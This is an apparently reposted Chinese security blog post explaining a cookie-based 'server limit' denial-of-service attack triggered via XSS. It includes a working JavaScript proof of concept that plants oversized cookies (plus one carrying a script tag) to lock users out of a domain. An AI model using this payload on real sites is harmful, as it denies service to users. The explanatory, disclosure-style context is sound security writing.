zoukankan      html  css  js  c++  java
  • XSS的DOS攻击之 server limit dos

    墨西哥同学周末很郁闷的在宾馆上网,发现youtube被ban了,于是写个了tool解决这个问题。顺带想到了一种利用 google 统计的漏洞,写在这里了

    http://sirdarckcat.blogspot.com/2009/04/how-to-use-google-analytics-to-dos.html

    这个问题实际上是由于 webserver 的 request field limit 造成的。

    当 http request header 过长时,webserver 会产生一个400 或者 4xx 错误

    Your browser sent a request that this server could not understand.
    Size of a request header field exceeds server limit.

    如果这些超长数据保存在cookie中,或者能够让用户每次访问的http 头都超长,就会导致用户一直都无法访问该域名,也就是dos了。

    sirdarckcat 发现在 google 的统计页面中存在一个 set-cookie 的地方没有控制,类似的地方还有 搜索引擎的参数会导致 referer 过长

    这些用户能够控制的地方都会导致 http request field 超长,从而导致服务器返回一个 server limit 的错误.

    每个 webserver 之间都有点差异, apache 可能是 8192 字节,具体可以参考这里:

    http://apache.active-venture.com/mod/core6.htm

    茄子下午测试了一下,发现在IE 8 中可以增加50个 cookie,由于每个cookie的限制是 4k (key, value 对),所以IE8 支持的cookie大小为 204k。 这也是IE 8新增的,以前没这么大。不过这些都远远超过了一般的webserver的默认 server limit 值

    btw: apache 对 http request body 的limite 默认是 2G.

    值得注意的是,使用XSS,将可以写cookie,从而导致这种 server limit dos 攻击

    我POC了一下:

    <script language="javascript">
    alert(document.cookie);
    
    var metastr = "AAAAAAAAAA"; // 10 A
    var str = "";
    
    while (str.length < 4000){
        str += metastr;
    }
    alert(str.length);
    
    document.cookie = "evil3=" + "<script>alert(xss)</script>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
    
    document.cookie = "evil1=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";
    
    document.cookie = "evil2=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";
    
    alert(document.cookie);
    
    </script>

    运行这个脚本后,会在当前域下植入3个cookie,总长度超过8192字节, 之后再请求该域就会无法访问了。

    因为是 stored cookie, 所以会导致该用户在清理cookie前一直都无法访问该网站。

    对于互联网网站来说,用户才是最重要和最宝贵的资源,哪怕用户的帐户被盗了,对于互联网公司的的损失可能都及不上用户无法访问网站造成的损失大。

    而使用 XSS WORM 或者是 威力比较大的 XSS, 可以轻易的造成数千、数万的用户无法访问网站!

    摘自:http://hi.baidu.com/aullik5/blog/item/6947261e7eaeaac0a7866913.html

  • 相关阅读:
    JavaScript实现接口的三种经典方式
    javascript实现继承3种方式: 原型继承、借用构造函数继承、组合继承,模拟extends方法继承
    JavaScript简单重写构造器的原型
    cocos2d-x中的宏定义CC_PROPERTY
    CCCallFunc CCCallFuncN CCCallFuncND的区别和使用
    action(二)
    action(一)
    CShopDialog类
    cocos2d-x与ISO内存管理(转)
    CGameConfig类
  • 原文地址:https://www.cnblogs.com/52php/p/5659865.html
Copyright © 2011-2022 走看看